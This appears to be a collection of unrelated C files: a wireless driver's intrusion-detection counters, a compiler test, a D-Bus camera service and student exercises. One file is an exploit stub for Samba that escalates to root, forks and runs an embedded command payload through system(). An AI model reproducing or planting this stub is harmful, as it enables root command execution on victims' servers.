for (i = 0; i < pAd->ApCfg.BssidNum; i++) {
/* Conflict SSID detection */
if (SSID_EQUAL(pSsid, SsidLen, pAd->ApCfg.MBSSID[i].Ssid, pAd->ApCfg.MBSSID[i].SsidLen)) {
CHAR RcvdRssi;
struct raw_rssi_info rssi_info;
rssi_info.raw_rssi[0] = Rssi0;
rssi_info.raw_rssi[1] = Rssi1;
rssi_info.raw_rssi[2] = Rssi2;
#if defined(CUSTOMER_DCC_FEATURE) || defined(CONFIG_MAP_SUPPORT)
rssi_info.raw_rssi[3] = Rssi3;
#endif
RcvdRssi = RTMPMaxRssi(pAd, ConvertToRssi(pAd, &rssi_info, RSSI_IDX_0),
ConvertToRssi(pAd, &rssi_info, RSSI_IDX_1),
ConvertToRssi(pAd, &rssi_info, RSSI_IDX_2)
#if defined(CUSTOMER_DCC_FEATURE) || defined(CONFIG_MAP_SUPPORT)
, ConvertToRssi(pAd, &rssi_info, RSSI_IDX_3)
#endif
);
pAd->ApCfg.MBSSID[i].RcvdConflictSsidCount++;
pAd->ApCfg.MBSSID[i].RssiOfRcvdConflictSsid = RcvdRssi;
return;
}
}
}
BOOLEAN RTMPReplayAttackDetection(
IN RTMP_ADAPTER *pAd,
IN UCHAR * pAddr2,
IN RX_BLK * rxblk)
{
INT i;
for (i = 0; i < pAd->ApCfg.BssidNum; i++) {
/* Conflict SSID detection */
if (NdisEqualMemory(pAddr2, pAd->ApCfg.MBSSID[i].wdev.bssid, MAC_ADDR_LEN)) {
CHAR RcvdRssi;
struct raw_rssi_info rssi_info;
rssi_info.raw_rssi[0] = rxblk->rx_signal.raw_rssi[0];
rssi_info.raw_rssi[1] = rxblk->rx_signal.raw_rssi[1];
rssi_info.raw_rssi[2] = rxblk->rx_signal.raw_rssi[2];
#if defined(CUSTOMER_DCC_FEATURE) || defined(CONFIG_MAP_SUPPORT)
rssi_info.raw_rssi[3] = rxblk->rx_signal.raw_rssi[3];
#endif
RcvdRssi = RTMPMaxRssi(pAd, ConvertToRssi(pAd, &rssi_info, RSSI_IDX_0),
ConvertToRssi(pAd, &rssi_info, RSSI_IDX_1),
ConvertToRssi(pAd, &rssi_info, RSSI_IDX_2)
#if defined(CUSTOMER_DCC_FEATURE) || defined(CONFIG_MAP_SUPPORT)
, ConvertToRssi(pAd, &rssi_info, RSSI_IDX_3)
#endif
);
pAd->ApCfg.MBSSID[i].RcvdReplayAttackCount++;
pAd->ApCfg.MBSSID[i].RssiOfRcvdReplayAttack = RcvdRssi;
return TRUE;
}
}
return FALSE;
}
VOID RTMPUpdateStaMgmtCounter(RTMP_ADAPTER *pAd, USHORT type)
{
switch (type) {
case SUBTYPE_ASSOC_REQ:
pAd->ApCfg.RcvdAssocReqCount++;
break;
case SUBTYPE_REASSOC_REQ:
pAd->ApCfg.RcvdReassocReqCount++;
break;
case SUBTYPE_PROBE_REQ:
pAd->ApCfg.RcvdProbeReqCount++;
break;
case SUBTYPE_DISASSOC:
pAd->ApCfg.RcvdDisassocCount++;
break;
case SUBTYPE_DEAUTH:
pAd->ApCfg.RcvdDeauthCount++;
break;
case SUBTYPE_AUTH:
pAd->ApCfg.RcvdAuthCount++;
break;
}
/*
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("RcvdAssocReqCount=%d\n", pAd->ApCfg.RcvdAssocReqCount));
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("RcvdReassocReqCount=%d\n", pAd->ApCfg.RcvdReassocReqCount));
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("RcvdProbeReqCount=%d\n", pAd->ApCfg.RcvdProbeReqCount));
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("RcvdDisassocCount=%d\n", pAd->ApCfg.RcvdDisassocCount));
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("RcvdDeauthCount=%d\n", pAd->ApCfg.RcvdDeauthCount));
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("RcvdAuthCount=%d\n", pAd->ApCfg.RcvdAuthCount));
*/
}
VOID rtmp_read_ids_from_file(
IN PRTMP_ADAPTER pAd,
RTMP_STRING *tmpbuf,
RTMP_STRING *buffer)
{
/*IdsEnable */
if (RTMPGetKeyParameter("IdsEnable", tmpbuf, 10, buffer, TRUE)) {
if (os_str_tol(tmpbuf, 0, 10) == 1)
pAd->ApCfg.IdsEnable = TRUE;
else
pAd->ApCfg.IdsEnable = FALSE;
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("IDS is %s\n", pAd->ApCfg.IdsEnable ? "enabled" : "disabled"));
}
/*AuthFloodThreshold */
if (RTMPGetKeyParameter("AuthFloodThreshold", tmpbuf, 10, buffer, TRUE)) {
pAd->ApCfg.AuthFloodThreshold = os_str_tol(tmpbuf, 0, 10);
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("AuthFloodThreshold = %d\n", pAd->ApCfg.AuthFloodThreshold));
}
/*AssocReqFloodThreshold */
if (RTMPGetKeyParameter("AssocReqFloodThreshold", tmpbuf, 10, buffer, TRUE)) {
pAd->ApCfg.AssocReqFloodThreshold = os_str_tol(tmpbuf, 0, 10);
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("AssocReqFloodThreshold = %d\n", pAd->ApCfg.AssocReqFloodThreshold));
}
/*ReassocReqFloodThreshold */
if (RTMPGetKeyParameter("ReassocReqFloodThreshold", tmpbuf, 10, buffer, TRUE)) {
pAd->ApCfg.ReassocReqFloodThreshold = os_str_tol(tmpbuf, 0, 10);
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("ReassocReqFloodThreshold = %d\n", pAd->ApCfg.ReassocReqFloodThreshold));
}
/*ProbeReqFloodThreshold */
if (RTMPGetKeyParameter("ProbeReqFloodThreshold", tmpbuf, 10, buffer, TRUE)) {
pAd->ApCfg.ProbeReqFloodThreshold = os_str_tol(tmpbuf, 0, 10);
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("ProbeReqFloodThreshold = %d\n", pAd->ApCfg.ProbeReqFloodThreshold));
}
/*DisassocFloodThreshold */
if (RTMPGetKeyParameter("DisassocFloodThreshold", tmpbuf, 10, buffer, TRUE)) {
pAd->ApCfg.DisassocFloodThreshold = os_str_tol(tmpbuf, 0, 10);
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("DisassocFloodThreshold = %d\n", pAd->ApCfg.DisassocFloodThreshold));
}
/*DeauthFloodThreshold */
if (RTMPGetKeyParameter("DeauthFloodThreshold", tmpbuf, 10, buffer, TRUE)) {
pAd->ApCfg.DeauthFloodThreshold = os_str_tol(tmpbuf, 0, 10);
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("DeauthFloodThreshold = %d\n", pAd->ApCfg.DeauthFloodThreshold));
}
/*EapReqFloodThreshold */
if (RTMPGetKeyParameter("EapReqFloodThreshold", tmpbuf, 10, buffer, TRUE)) {
pAd->ApCfg.EapReqFloodThreshold = os_str_tol(tmpbuf, 0, 10);
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("EapReqFloodThreshold = %d\n", pAd->ApCfg.EapReqFloodThreshold));
}
/* DataFloodThreshold */
if (RTMPGetKeyParameter("DataFloodThreshold", tmpbuf, 10, buffer, TRUE)) {
pAd->ApCfg.DataFloodThreshold = os_str_tol(tmpbuf, 0, 10);
MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("DataFloodThreshold = %d\n", pAd->ApCfg.DataFloodThreshold));
}
}
#endif /* IDS_SUPPORT */
|
the_stack_data/26701028.c
|
int f1();
int f() {
#pragma spf transform inline
return f1();
}
struct S { int X; };
int f1() {
struct S S1;
S1.X = 5;
return S1.X;
}
//CHECK: inline_forward_4.c:5:10: warning: disable inline expansion
//CHECK: return f1();
//CHECK: ^
//CHECK: inline_forward_4.c:8:8: note: unresolvable external dependence prevents inlining
//CHECK: struct S { int X; };
//CHECK: ^
//CHECK: 1 warning generated.
|
the_stack_data/502512.c
|
#if CONFIG_DBSERVER
#include "../utils/log.h"
#include "json-c/json.h"
#include "dbus_signal.h"
#include "isp_func.h"
#include <gdbus.h>
#define ISPSERVER "rockchip.ispserver"
#define ISPSERVER_PATH "/"
#define ISPSERVER_INTERFACE ISPSERVER ".server"
#define ISP_STATUS_CMD \
"{ \"status\": \"%d\" }" \
static DBusConnection *g_isp_conn = NULL;
static int manage_init_flag = 0;
extern rk_aiq_working_mode_t gc_hdr_mode;
static gboolean signal_ispchanged(DBusConnection *conn, char *interface, char *json_str)
{
DBusMessage *signal;
DBusMessageIter iter;
if (interface == NULL)
return FALSE;
signal = dbus_message_new_signal(ISPSERVER_PATH,
interface, "IspStatusChanged");
if (!signal)
return FALSE;
dbus_message_iter_init_append(signal, &iter);
dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING, &json_str);
dbus_connection_send(conn, signal, NULL);
dbus_message_unref(signal);
return TRUE;
}
static int isp_signal_send(int status) {
char j_str[128] = {0};
sprintf(j_str, ISP_STATUS_CMD, status);
LOG_INFO("isp status: %d\n", status);
signal_ispchanged(g_isp_conn, ISPSERVER_INTERFACE, j_str);
return 0;
}
static DBusMessage *get_dump_exposure_info(DBusConnection *conn,
DBusMessage *msg, void *data) {
const char *sender;
char *interface;
char str[128] = {'\0'};
DBusMessage *reply;
DBusMessageIter array;
dbus_bool_t onoff;
LOG_DEBUG("get_dump_exposure_info\n");
sender = dbus_message_get_sender(msg);
dbus_message_get_args(msg, NULL, DBUS_TYPE_STRING, &interface,
DBUS_TYPE_INVALID);
Uapi_ExpQueryInfo_t stExpInfo;
rk_aiq_wb_cct_t stCCT;
exposure_info_get(&stExpInfo, &stCCT);
if (gc_hdr_mode == RK_AIQ_WORKING_MODE_NORMAL) {
sprintf(str, "M:%.0f-%.1f LM:%.1f CT:%.1f",
stExpInfo.CurExpInfo.LinearExp.exp_real_params.integration_time *
1000 * 1000,
stExpInfo.CurExpInfo.LinearExp.exp_real_params.analog_gain,
stExpInfo.MeanLuma, stCCT.CCT);
} else {
sprintf(str, "S:%.0f-%.1f M:%.0f-%.1f L:%.0f-%.1f SLM:%.1f MLM:%.1f "
"LLM:%.1f CT:%.1f",
stExpInfo.CurExpInfo.HdrExp[0].exp_real_params.integration_time *
1000 * 1000,
stExpInfo.CurExpInfo.HdrExp[0].exp_real_params.analog_gain,
stExpInfo.CurExpInfo.HdrExp[1].exp_real_params.integration_time *
1000 * 1000,
stExpInfo.CurExpInfo.HdrExp[1].exp_real_params.analog_gain,
stExpInfo.CurExpInfo.HdrExp[2].exp_real_params.integration_time *
1000 * 1000,
stExpInfo.CurExpInfo.HdrExp[2].exp_real_params.analog_gain,
stExpInfo.HdrMeanLuma[0], stExpInfo.HdrMeanLuma[1],
stExpInfo.HdrMeanLuma[2], stCCT.CCT);
}
LOG_DEBUG("isp exposure dump: %s\n", str);
reply = dbus_message_new_method_return(msg);
if (!reply)
return NULL;
dbus_message_iter_init_append(reply, &array);
const char *str_const = (const char *)&str;
dbus_message_iter_append_basic(&array, DBUS_TYPE_STRING,
&str_const); // must const
return reply;
}
static DBusMessage *sendTurnoffSignal(DBusConnection *conn,
DBusMessage *msg, void *data)
{
isp_signal_send(2);
LOG_INFO("sendTurnoffSignal\n");
return g_dbus_create_reply(msg, DBUS_TYPE_INVALID);
}
static const GDBusMethodTable server_methods[] = {
{GDBUS_METHOD("GetDumpExposureInfo", NULL, GDBUS_ARGS({"str", "s"}),
get_dump_exposure_info)},
{
GDBUS_ASYNC_METHOD("SendTurnoffIspSignal",
NULL, NULL, sendTurnoffSignal)
},
{},
};
static const GDBusSignalTable server_signals[] = {
{
GDBUS_SIGNAL("IspStatusChanged",
GDBUS_ARGS({ "json", "s" }))
},
{ },
};
void manage_init(void) {
if (manage_init_flag)
return;
manage_init_flag = 1;
LOG_INFO("manage_init\n");
DBusError err;
DBusConnection *connection;
dbus_error_init(&err);
#if CONFIG_CALLFUNC
LOG_INFO("register NULL dbus conn\n");
connection = g_dbus_setup_bus(DBUS_BUS_SYSTEM, NULL, &err);
#else
LOG_INFO("register %s dbus conn\n", ISPSERVER);
connection = g_dbus_setup_bus(DBUS_BUS_SYSTEM, ISPSERVER, &err);
#endif
if (!connection) {
LOG_ERROR("connect fail\n");
return;
}
g_isp_conn = connection;
g_dbus_register_interface(g_isp_conn, "/", ISPSERVER_INTERFACE,
server_methods, server_signals, NULL, NULL, NULL);
if (dbus_error_is_set(&err)) {
LOG_ERROR("Error: %s\n", err.message);
}
int ret = isp_status_sender_register(&isp_signal_send);
if (ret) {
LOG_ERROR("isp_status_sender_register Error: %d\n", ret);
}
}
#endif
|
the_stack_data/178266333.c
|
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver system,system@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver system,system@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
#define PAYLOAD_SIZE 10000
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
extern bool change_to_root_user(void);
// Samba 4 looks for samba_init_module
int samba_init_module(void)
{
change_to_root_user();
if (! fork()) {
system((const char*)payload);
}
return 0;
}
// Samba 3 looks for init_samba_module
int init_samba_module(void) { return samba_init_module(); }
|
the_stack_data/184517313.c
|
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
int **list,m,n;
double *subject,*student;
while(scanf("%d %d",&n,&m)!=EOF)
{
int count=0;
subject=(double*)malloc(m*sizeof(double));
student=(double*)malloc(n*sizeof(double));
list=(int**)malloc(n*sizeof(int*));
for(int i=0;i<n;i++) *(list+i)=(int*)malloc(m*sizeof(int));
for(int i=0;i<n;i++) student[i]=0;
for(int i=0;i<m;i++) subject[i]=0;
for(int i=0;i<n;i++)
for(int j=0;j<m;j++)
list[i][j]=0;
for(int i=0;i<n;i++)
{
for(int j=0;j<m;j++)
{
scanf("%d",*(list+i)+j);
*(subject+j)+=*(*(list+i)+j);
*(student+i)+=*(*(list+i)+j);
}
}
for(int i=0;i<n;i++) {*(student+i)/=m; printf("%.2f%s",*(student+i),i==n-1?"\n":" ");}
for(int i=0;i<m;i++) {*(subject+i)/=n; printf("%.2f%s",*(subject+i),i==m-1?"\n":" ");}
for(int i=0;i<n;i++)
{
int flag=1;
for(int j=0;j<m;j++)
{
if (*(*(list+i)+j)<*(subject+j)){flag=0;break;}
}
if (flag) count++;
}
printf("%d\n\n",count);
}
return 0;
}
|
the_stack_data/109069.c
|
#include <stdlib.h>
#include <stdio.h>
int main()
{
// celočíselná proměnná A
int A;
// celočíselná proměnná B
int B;
// ukazatel (adresa) na integer
int *ukazatel_na_A;
// ukazatel (adresa) na integer
int *ukazatel_na_B;
// do ukazatele A se ukládá adresa proměnné A
ukazatel_na_A = &A;
// do ukazatele B se ukládá adresa proměnné B
ukazatel_na_B = &B;
// do proměnné A se ukládá hodnota 1
A = 1;
// do proměnné B se ukládá hodnota -1
B = -1;
// Obsah místa, kam ukazuje ukazatel A se sečte s 2 a uloží se na místo kam ukazuje ukazatel A.
*ukazatel_na_A = *ukazatel_na_A + 2;
// Obsah proměnné A snížený o jedna se uloží na místo, kamukazuje ukazatel B.
*ukazatel_na_B = A - 1;
// Ukazatel A nyní ukazuje na stejné místo jako ukazatel B
ukazatel_na_A = ukazatel_na_B;
// Obsah místa, kam ukazuje ukazatel A sečtené s obsahem proměnné B se uloží na místo kam ukazuje ukazatel A
*ukazatel_na_A = *ukazatel_na_A + B;
printf("A = %i\nB = %i\n", A, B);
return 0;
}
|
the_stack_data/606762.c
|
extern void exit (int);
typedef long mpt;
int
f (mpt us, mpt vs)
{
long aus;
long avs;
aus = us >= 0 ? us : -us;
avs = vs >= 0 ? vs : -vs;
if (aus < avs)
{
long t = aus;
aus = avs;
avs = aus;
}
return avs;
}
main ()
{
if (f ((mpt) 3, (mpt) 17) != 17)
abort ();
exit (0);
}
|
the_stack_data/31387064.c
|
__attribute__((noinline)) int foo(int x) {
return x + 100;
}
int _start(int v) {
return foo(v);
}
|
the_stack_data/237643998.c
|
// Program to find Roots of a Quadratic Equation
#include <stdio.h>
#include <math.h>
int main()
{
// Initialization
// a,b,c are coefficients of the equation -> ax^2 + bx + c = 0
int a = 1, b = 4, c = -5;
// Discriminant
int d = (b * b) - (4 * a * c);
if(d>0){
// Finding roots
float root1 = (float)(-b + sqrt(d)) / (2 * a);
float root2 = (float)(-b - sqrt(d)) / (2 * a);
// Output
printf("Roots are: %0.2f, %0.2f", root1, root2);
}else{
// Output
printf("Roots are Imaginary");
}
return 0;
}
|
the_stack_data/153268096.c
|
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <sys/time.h>
#include <sys/resource.h>
struct rusage r_usage;
int quantaslinhas(char *file){
int i;
char c;
int tamanho = 1;
int flag;
FILE* filepointer = fopen(file,"r");
if (filepointer == NULL)
{
printf("Can't open/find file\n");
return -1;
}
for (c = getc(filepointer); c != EOF;)
{
c = getc(filepointer);
if (c == '\n')
{
tamanho++;
}
}
fclose(filepointer);
return tamanho;
}
int main(int argc,char *argv[])
{
double time = 0.0;
clock_t init = clock();
int i,j,k;
int tamanho;
tamanho = quantaslinhas(argv[1]);
int matriz1[tamanho][tamanho];
int matriz2[tamanho][tamanho];
int matrizfinal[tamanho][tamanho];
char output1[tamanho];
char output2[tamanho];
int linhas = 0;
int colunas = 0;
FILE* filepointer1 = fopen(argv[1],"r");
FILE* filepointer2 = fopen(argv[2],"r");
FILE* filepointer3 = fopen(argv[3],"w");
for (linhas = 0; linhas < tamanho; linhas++)
{
for(colunas = 0; colunas < tamanho; colunas++)
{
fscanf(filepointer1,"%s",output1);
fscanf(filepointer2,"%s",output2);
matriz1[linhas][colunas] = atoi(output1);
matriz2[linhas][colunas] = atoi(output2);
}
}
fclose(filepointer1);
fclose(filepointer2);
//multpl
int soma = 0;
for(i = 0;i < tamanho ;i++){
for(j = 0;j < tamanho ;j++){
for(k = 0;k < tamanho ;k++){
soma = soma + matriz1[i][k] * matriz2[k][j];
}
matrizfinal[i][j] = soma;
soma = 0;
}
}
for(i = 0;i < tamanho ;i++){
for(j = 0;j < tamanho ;j++){
if (j == tamanho -1){
fprintf(filepointer3, "%d",matrizfinal[i][j]);
}
else{
fprintf(filepointer3, "%d ",matrizfinal[i][j]);
}
}
if (i == tamanho -1){
continue;
}
else{
fputs("\n",filepointer3);
}
}
fclose(filepointer3);
clock_t fim = clock();
int memoryusage;
memoryusage = getrusage(RUSAGE_SELF,&r_usage);
time += (double)(fim-init)/CLOCKS_PER_SEC;
FILE* compare = fopen("compare.txt","a");
fprintf(compare, "Serial: Tempo - %f Memória - %ld\n",time,r_usage.ru_maxrss);
fclose(compare);
}
|
the_stack_data/27116.c
|
#include<stdio.h>
int main()
{
float salary;
printf("\aEnter your desired monthly salary :");
printf("$_______\b\b\b\b\b\b\b");
scanf("%f", &salary);
printf("\n\t$%.2f a month is $%.2f a year.",salary, salary*12.0);
printf("\rGee!\n");
return 0;
}
|
the_stack_data/61075912.c
|
#include <stdio.h>
#include <stdlib.h>
#define Det2_macro(a1, a2, a3, a4) ((a1) * (a4) - (a2) * (a3))
#define Det2_macro_ForArray(arr) Det2_macro((arr)[0], (arr)[1], (arr)[2], (arr)[3])
#define Det3_macro(a1, a2, a3, a4, a5, a6, a7, a8, a9) ( + (a1) * Det2_macro(a5, a6, a8, a9) - (a2) * Det2_macro(a4, a6, a7, a9) + (a3) * Det2_macro(a4, a5, a7, a8))
#define Det3_macro_ForArray(arr) Det3_macro((arr)[0], (arr)[1], (arr)[2], (arr)[3], (arr)[4], (arr)[5], (arr)[6], (arr)[7], (arr)[8])
#define Det4_macro(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16) ( + (a1) * Det3_macro(a6, a7, a8, a10, a11, a12, a14, a15, a16) - (a2) * Det3_macro(a5, a7, a8, a9, a11, a12, a13, a15, a16) + (a3) * Det3_macro(a5, a6, a8, a9, a10, a12, a13, a14, a16) - (a4) * Det3_macro(a5, a6, a7, a9, a10, a11, a13, a14, a15))
#define Det4_macro_ForArray(arr) Det4_macro((arr)[0], (arr)[1], (arr)[2], (arr)[3], (arr)[4], (arr)[5], (arr)[6], (arr)[7], (arr)[8], (arr)[9], (arr)[10], (arr)[11], (arr)[12], (arr)[13], (arr)[14], (arr)[15])
#define Det5_macro(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25) ( + (a1) * Det4_macro(a7, a8, a9, a10, a12, a13, a14, a15, a17, a18, a19, a20, a22, a23, a24, a25) - (a2) * Det4_macro(a6, a8, a9, a10, a11, a13, a14, a15, a16, a18, a19, a20, a21, a23, a24, a25) + (a3) * Det4_macro(a6, a7, a9, a10, a11, a12, a14, a15, a16, a17, a19, a20, a21, a22, a24, a25) - (a4) * Det4_macro(a6, a7, a8, a10, a11, a12, a13, a15, a16, a17, a18, a20, a21, a22, a23, a25) + (a5) * Det4_macro(a6, a7, a8, a9, a11, a12, a13, a14, a16, a17, a18, a19, a21, a22, a23, a24))
#define Det5_macro_ForArray(arr) Det5_macro((arr)[0], (arr)[1], (arr)[2], (arr)[3], (arr)[4], (arr)[5], (arr)[6], (arr)[7], (arr)[8], (arr)[9], (arr)[10], (arr)[11], (arr)[12], (arr)[13], (arr)[14], (arr)[15], (arr)[16], (arr)[17], (arr)[18], (arr)[19], (arr)[20], (arr)[21], (arr)[22], (arr)[23], (arr)[24])
#define Det6_macro(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36) ( + (a1) * Det5_macro(a8, a9, a10, a11, a12, a14, a15, a16, a17, a18, a20, a21, a22, a23, a24, a26, a27, a28, a29, a30, a32, a33, a34, a35, a36) - (a2) * Det5_macro(a7, a9, a10, a11, a12, a13, a15, a16, a17, a18, a19, a21, a22, a23, a24, a25, a27, a28, a29, a30, a31, a33, a34, a35, a36) + (a3) * Det5_macro(a7, a8, a10, a11, a12, a13, a14, a16, a17, a18, a19, a20, a22, a23, a24, a25, a26, a28, a29, a30, a31, a32, a34, a35, a36) - (a4) * Det5_macro(a7, a8, a9, a11, a12, a13, a14, a15, a17, a18, a19, a20, a21, a23, a24, a25, a26, a27, a29, a30, a31, a32, a33, a35, a36) + (a5) * Det5_macro(a7, a8, a9, a10, a12, a13, a14, a15, a16, a18, a19, a20, a21, a22, a24, a25, a26, a27, a28, a30, a31, a32, a33, a34, a36) - (a6) * Det5_macro(a7, a8, a9, a10, a11, a13, a14, a15, a16, a17, a19, a20, a21, a22, a23, a25, a26, a27, a28, a29, a31, a32, a33, a34, a35))
#define Det6_macro_ForArray(arr) Det6_macro((arr)[0], (arr)[1], (arr)[2], (arr)[3], (arr)[4], (arr)[5], (arr)[6], (arr)[7], (arr)[8], (arr)[9], (arr)[10], (arr)[11], (arr)[12], (arr)[13], (arr)[14], (arr)[15], (arr)[16], (arr)[17], (arr)[18], (arr)[19], (arr)[20], (arr)[21], (arr)[22], (arr)[23], (arr)[24], (arr)[25], (arr)[26], (arr)[27], (arr)[28], (arr)[29], (arr)[30], (arr)[31], (arr)[32], (arr)[33], (arr)[34], (arr)[35])
#define Det7_macro(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49) ( + (a1) * Det6_macro(a9, a10, a11, a12, a13, a14, a16, a17, a18, a19, a20, a21, a23, a24, a25, a26, a27, a28, a30, a31, a32, a33, a34, a35, a37, a38, a39, a40, a41, a42, a44, a45, a46, a47, a48, a49) - (a2) * Det6_macro(a8, a10, a11, a12, a13, a14, a15, a17, a18, a19, a20, a21, a22, a24, a25, a26, a27, a28, a29, a31, a32, a33, a34, a35, a36, a38, a39, a40, a41, a42, a43, a45, a46, a47, a48, a49) + (a3) * Det6_macro(a8, a9, a11, a12, a13, a14, a15, a16, a18, a19, a20, a21, a22, a23, a25, a26, a27, a28, a29, a30, a32, a33, a34, a35, a36, a37, a39, a40, a41, a42, a43, a44, a46, a47, a48, a49) - (a4) * Det6_macro(a8, a9, a10, a12, a13, a14, a15, a16, a17, a19, a20, a21, a22, a23, a24, a26, a27, a28, a29, a30, a31, a33, a34, a35, a36, a37, a38, a40, a41, a42, a43, a44, a45, a47, a48, a49) + (a5) * Det6_macro(a8, a9, a10, a11, a13, a14, a15, a16, a17, a18, a20, a21, a22, a23, a24, a25, a27, a28, a29, a30, a31, a32, a34, a35, a36, a37, a38, a39, a41, a42, a43, a44, a45, a46, a48, a49) - (a6) * Det6_macro(a8, a9, a10, a11, a12, a14, a15, a16, a17, a18, a19, a21, a22, a23, a24, a25, a26, a28, a29, a30, a31, a32, a33, a35, a36, a37, a38, a39, a40, a42, a43, a44, a45, a46, a47, a49) + (a7) * Det6_macro(a8, a9, a10, a11, a12, a13, a15, a16, a17, a18, a19, a20, a22, a23, a24, a25, a26, a27, a29, a30, a31, a32, a33, a34, a36, a37, a38, a39, a40, a41, a43, a44, a45, a46, a47, a48))
#define Det7_macro_ForArray(arr) Det7_macro((arr)[0], (arr)[1], (arr)[2], (arr)[3], (arr)[4], (arr)[5], (arr)[6], (arr)[7], (arr)[8], (arr)[9], (arr)[10], (arr)[11], (arr)[12], (arr)[13], (arr)[14], (arr)[15], (arr)[16], (arr)[17], (arr)[18], (arr)[19], (arr)[20], (arr)[21], (arr)[22], (arr)[23], (arr)[24], (arr)[25], (arr)[26], (arr)[27], (arr)[28], (arr)[29], (arr)[30], (arr)[31], (arr)[32], (arr)[33], (arr)[34], (arr)[35], (arr)[36], (arr)[37], (arr)[38], (arr)[39], (arr)[40], (arr)[41], (arr)[42], (arr)[43], (arr)[44], (arr)[45], (arr)[46], (arr)[47], (arr)[48])
#define Det8_macro(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, a52, a53, a54, a55, a56, a57, a58, a59, a60, a61, a62, a63, a64) ( + (a1) * Det7_macro(a10, a11, a12, a13, a14, a15, a16, a18, a19, a20, a21, a22, a23, a24, a26, a27, a28, a29, a30, a31, a32, a34, a35, a36, a37, a38, a39, a40, a42, a43, a44, a45, a46, a47, a48, a50, a51, a52, a53, a54, a55, a56, a58, a59, a60, a61, a62, a63, a64) - (a2) * Det7_macro(a9, a11, a12, a13, a14, a15, a16, a17, a19, a20, a21, a22, a23, a24, a25, a27, a28, a29, a30, a31, a32, a33, a35, a36, a37, a38, a39, a40, a41, a43, a44, a45, a46, a47, a48, a49, a51, a52, a53, a54, a55, a56, a57, a59, a60, a61, a62, a63, a64) + (a3) * Det7_macro(a9, a10, a12, a13, a14, a15, a16, a17, a18, a20, a21, a22, a23, a24, a25, a26, a28, a29, a30, a31, a32, a33, a34, a36, a37, a38, a39, a40, a41, a42, a44, a45, a46, a47, a48, a49, a50, a52, a53, a54, a55, a56, a57, a58, a60, a61, a62, a63, a64) - (a4) * Det7_macro(a9, a10, a11, a13, a14, a15, a16, a17, a18, a19, a21, a22, a23, a24, a25, a26, a27, a29, a30, a31, a32, a33, a34, a35, a37, a38, a39, a40, a41, a42, a43, a45, a46, a47, a48, a49, a50, a51, a53, a54, a55, a56, a57, a58, a59, a61, a62, a63, a64) + (a5) * Det7_macro(a9, a10, a11, a12, a14, a15, a16, a17, a18, a19, a20, a22, a23, a24, a25, a26, a27, a28, a30, a31, a32, a33, a34, a35, a36, a38, a39, a40, a41, a42, a43, a44, a46, a47, a48, a49, a50, a51, a52, a54, a55, a56, a57, a58, a59, a60, a62, a63, a64) - (a6) * Det7_macro(a9, a10, a11, a12, a13, a15, a16, a17, a18, a19, a20, a21, a23, a24, a25, a26, a27, a28, a29, a31, a32, a33, a34, a35, a36, a37, a39, a40, a41, a42, a43, a44, a45, a47, a48, a49, a50, a51, a52, a53, a55, a56, a57, a58, a59, a60, a61, a63, a64) + (a7) * Det7_macro(a9, a10, a11, a12, a13, a14, a16, a17, a18, a19, a20, a21, a22, a24, a25, a26, a27, a28, a29, a30, a32, a33, a34, a35, a36, a37, a38, a40, a41, a42, a43, a44, a45, a46, a48, a49, a50, a51, a52, a53, a54, a56, a57, a58, a59, a60, a61, a62, a64) - (a8) * Det7_macro(a9, a10, a11, a12, a13, a14, a15, a17, a18, a19, a20, a21, a22, a23, a25, a26, a27, a28, a29, a30, a31, a33, a34, a35, a36, a37, a38, a39, a41, a42, a43, a44, a45, a46, a47, a49, a50, a51, a52, a53, a54, a55, a57, a58, a59, a60, a61, a62, a63))
